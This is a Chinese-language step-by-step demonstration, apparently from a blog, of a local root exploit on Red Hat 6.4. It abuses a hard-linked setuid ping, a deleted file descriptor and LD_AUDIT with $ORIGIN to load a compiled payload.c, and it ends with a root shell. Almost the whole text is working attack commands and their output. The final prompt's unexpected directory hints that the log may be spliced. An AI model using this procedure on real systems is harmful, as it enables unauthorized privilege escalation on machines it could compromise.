本次演示只针对redhat6.4, 其他的系统不知道有没有效果。
下面开始吧
建立普通用户并授予密码
[root@localhost yum.repos.d]# useradd test
[root@localhost yum.repos.d]# passwd test
更改用户 test 的密码 。
新的 密码:
无效的密码: 它基于字典单词
重新输入新的 密码:
passwd: 所有的身份验证令牌已经成功更新。
切换身份
[root@localhost yum.repos.d]# su - test
[test@localhost ~]$ whoami
test
演示权限
[test@localhost ~]$ useradd aaa
-bash: /usr/sbin/useradd: 权限不够
下面开始利用ping
[test@localhost ~]$ mkdir /tmp/exploit
[test@localhost ~]$ ln /bin/ping /tmp/exploit/target
[test@localhost ~]$ exec 3< /tmp/exploit/target
[test@localhost ~]$ ls -l /proc/$$/fd/3
lr-x------. 1 test test 64 2月 27 00:17 /proc/1665/fd/3 -> /tmp/exploit/target
[test@localhost ~]$ rm -rf /tmp/exploit/
[test@localhost ~]$ ls -l /proc/$$/fd/3
lr-x------. 1 test test 64 2月 27 00:17 /proc/1665/fd/3 -> /tmp/exploit/target (deleted)
下面使用gcc提权
[test@localhost ~]$ vim payload.c
[test@localhost ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[test@localhost ~]$ ls
payload.c
[test@localhost ~]$ ls -l /tmp/exploit
-rwxrwxr-x. 1 test test 6060 2月 27 00:18 /tmp/exploit
[test@localhost ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[root@localhost yum.repos.d]# whoami
root
[root@localhost yum.repos.d]#
一气呵成!